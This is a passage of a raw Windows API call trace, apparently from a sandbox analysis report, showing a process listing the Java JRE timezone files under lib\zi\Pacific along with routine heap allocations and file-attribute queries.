ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7MDT", cAlternateFileName="")) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pacific", cAlternateFileName="")) returned 1 [0088.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.818] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.819] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.819] NtClose (Handle=0x178) returned 0x0 [0088.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.820] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.822] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.826] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apia", cAlternateFileName="")) returned 1 [0088.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0a68 [0088.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ece18 [0088.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.828] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="Auckland", cAlternateFileName="")) returned 1 [0088.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0a88 [0088.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecea0 [0088.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.829] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chatham", cAlternateFileName="")) returned 1 [0088.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0aa8 [0088.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecf28 [0088.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.831] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chuuk", cAlternateFileName="")) returned 1 [0088.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0ac8 [0088.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecfb0 [0088.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.833] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Easter", cAlternateFileName="")) returned 1 [0088.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0ae8 [0088.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed038 [0088.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.834] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Efate", cAlternateFileName="")) returned 1 [0088.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0b08 [0088.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed0c0 [0088.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.836] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Enderbury", cAlternateFileName="")) returned 1 [0088.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0b28 [0088.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed148 [0088.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.838] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fakaofo", cAlternateFileName="")) returned 1 [0088.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0b48 [0088.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed1d0 [0088.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.839] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fiji", cAlternateFileName="")) returned 1 [0088.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0b68 [0088.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed258 [0088.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.841] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Funafuti", cAlternateFileName="")) returned 1 [0088.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0b88 [0088.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed2e0 [0088.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Galapagos", cAlternateFileName="")) returned 1 [0088.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0ba8 [0088.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed368 [0088.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gambier", cAlternateFileName="")) returned 1 [0088.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0bc8 [0088.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed3f0 [0088.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8c40) returned 0x132a698 [0088.846] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guadalcanal", cAlternateFileName="")) returned 1 [0088.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0be8 [0088.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed478 [0088.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.848] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guam", cAlternateFileName="")) returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0c08 [0088.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed500 [0088.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.849] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Honolulu", cAlternateFileName="")) returned 1 [0088.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0c28 [0088.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed588 [0088.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.851] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Johnston", cAlternateFileName="")) returned 1 [0088.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0c48 [0088.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed610 [0088.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.852] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kiritimati", cAlternateFileName="")) returned 1 [0088.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0c68 [0088.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed698 